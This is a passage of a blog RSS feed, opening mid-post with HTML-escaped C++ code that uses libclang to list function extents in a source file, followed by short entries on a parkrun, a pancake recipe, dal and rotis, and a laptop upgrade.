&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cerr&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"Obtained "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;numCompileCommands&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;" compile commands&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;CXIndex&lt;/span&gt; &lt;span class="n"&gt;index&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clang_createIndex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;CXTranslationUnit&lt;/span&gt; &lt;span class="n"&gt;translationUnit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;numCompileCommands&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="k"&gt;constexpr&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;defaultArguments&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;      &lt;span class="s"&gt;"-std=c++11"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;      &lt;span class="s"&gt;"-I/usr/include"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;      &lt;span class="s"&gt;"-I/usr/local/include"&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;translationUnit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clang_parseTranslationUnit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                                                  &lt;span class="n"&gt;resolvedPath&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c_str&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                                                  &lt;span class="n"&gt;defaultArguments&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                                                  &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;extent&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;decltype&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;defaultArguments&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;::&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                                                  &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                                                  &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                                                  &lt;span class="n"&gt;CXTranslationUnit_None&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;CXCompileCommand&lt;/span&gt; &lt;span class="n"&gt;compileCommand&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clang_CompileCommands_getCommand&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;compileCommands&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;numArguments&lt;/span&gt;       &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clang_CompileCommand_getNumArgs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;compileCommand&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt; &lt;span class="n"&gt;arguments&lt;/span&gt;                &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="n"&gt;numArguments&lt;/span&gt; &lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;numArguments&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;      &lt;span class="n"&gt;CXString&lt;/span&gt; &lt;span class="n"&gt;argument&lt;/span&gt;       &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clang_CompileCommand_getArg&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;compileCommand&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;      &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="n"&gt;strArgument&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clang_getCString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;argument&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;      &lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;            &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="n"&gt;strArgument&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;      &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;fill&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                 &lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;strArgument&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                 &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;      &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;copy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;strArgument&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;begin&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;strArgument&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                 &lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;      &lt;span class="n"&gt;clang_disposeString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;argument&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;translationUnit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clang_parseTranslationUnit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;numArguments&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CXTranslationUnit_None&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;numArguments&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;      &lt;span class="k"&gt;delete&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="k"&gt;delete&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;CXCursor&lt;/span&gt; &lt;span class="n"&gt;rootCursor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clang_getTranslationUnitCursor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;translationUnit&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;clang_visitChildren&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;rootCursor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;functionVisitor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;nullptr&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;clang_disposeTranslationUnit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;translationUnit&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;clang_disposeIndex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;index&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;clang_CompileCommands_dispose&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;compileCommands&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;clang_CompilationDatabase_dispose&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;compilationDatabase&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Let me repeat myself here: I am releasing the code into the public domain. Don’t forget to
link against &lt;code&gt;libclang&lt;/code&gt; when compiling it (one of the  subsequent posts is likely to  provide a
find module for &lt;code&gt;CMake&lt;/code&gt;). Should you consider this code useful, it would give me enormous pleasure
if you were to drop me an e-mail.&lt;/p&gt;
&lt;p&gt;If I apply the sample program to its own source code, I get the following results:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Parsing [FILENAME REDACTED FOR SECURITY PURPOSES -GLADOS]
Obtained 1 compile commands
[FILENAME REDACTED FOR SECURITY PURPOSES -GLADOS]
  getCursorSpelling: 7
  resolvePath: 17
  functionVisitor: 24
  main: 74
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;May your code in 2016 be as easy to parse for you as this example!&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Fri, 01 Jan 2016 22:07:18 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2016/baby_steps_libclang_function_extents/</guid></item><item><title>Janathon 2016 #1 - Slow but easy</title><link>https://rjp.is/blogging/posts/janathon-1-2/</link><description>I was hoping to do a double-parkrun this morning but the start times were inconvenient - whilst I could get to (not-)Greenwich parkrun for 09:00 (Sunday bus service notwithstanding), getting from there to the other options (Hilly Fields, 10:00; Southwark, 10:30) wasn&amp;rsquo;t possible unless I cycled. And who wants to cycle 20km+ just for two parkruns?
Southwark won by dint of being easier to get to (and later).
Southwark parkrun, 29:05, Strava</description><author>infrequent oscillations</author><pubDate>Fri, 01 Jan 2016 20:35:46 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/janathon-1-2/</guid></item><item><title>First meal of 2016</title><link>https://xenodium.com/first-meal-of-2016</link><description>&lt;h2&gt;Pancakes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;1 teaspoon of salt.&lt;/li&gt;
&lt;li&gt;1.5 cups of milk.&lt;/li&gt;
&lt;li&gt;2 cups of flour.&lt;/li&gt;
&lt;li&gt;2 eggs.&lt;/li&gt;
&lt;li&gt;2 tablespoons sugar.&lt;/li&gt;
&lt;li&gt;4 tablespoons of melted butter.&lt;/li&gt;
&lt;li&gt;6 teaspoons of baking powder.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Makes 10/11 pancakes.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/first-meal-of-2016/shortstack.jpg" /&gt;&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Fri, 01 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/first-meal-of-2016</guid></item><item><title>Last meal of 2015</title><link>https://xenodium.com/last-meal-of-2015</link><description>&lt;p&gt;For our last meal of 2015, I contributed dal and rotis. This is my first attempt at making either one of these. Both recipes based on Anupy Singla's &lt;a href="http://www.amazon.co.uk/Indian-Everyone-Anupy-Singla/dp/1572841621"&gt;Indian for Everyone&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Dal Makhani (Buttered black lentils)&lt;/h2&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/last-meal-of-2015/dal-grid.png" /&gt; &lt;img alt="" src="https://xenodium.github.io/images/last-meal-of-2015/dal.jpg" /&gt;&lt;/p&gt;
&lt;h2&gt;Roti-Chapati-Phulka&lt;/h2&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/last-meal-of-2015/roti-grid.png" /&gt; &lt;img alt="" src="https://xenodium.github.io/images/last-meal-of-2015/roti.jpg" /&gt;&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Fri, 01 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/last-meal-of-2015</guid></item><item><title>Upgrading to the XPS 13 (9350)</title><link>https://thomashunter.name/posts/2016-01-01-upgrading-to-the-xps-13-9350</link><author>Thomas Hunter II</author><pubDate>Fri, 01 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2016-01-01-upgrading-to-the-xps-13-9350</guid></item><item><title>2016-01-01</title><link>https://ho.dges.online/pictures/2016-01-01/</link><description/><author>ho.dges.online</author><pubDate>Fri, 01 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2016-01-01/</guid></item><item><title>2015 Predictions Follow-up</title><link>https://justingarrison.com/blog/2016-01-01-2015-predictions-follow-up/</link><description>My predictions for last year I was right about a lot but not always in the way I was hoping.</description><author>Justin Garrison's Homepage</author><pubDate>Fri, 01 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://justingarrison.com/blog/2016-01-01-2015-predictions-follow-up/</guid></item></channel></rss>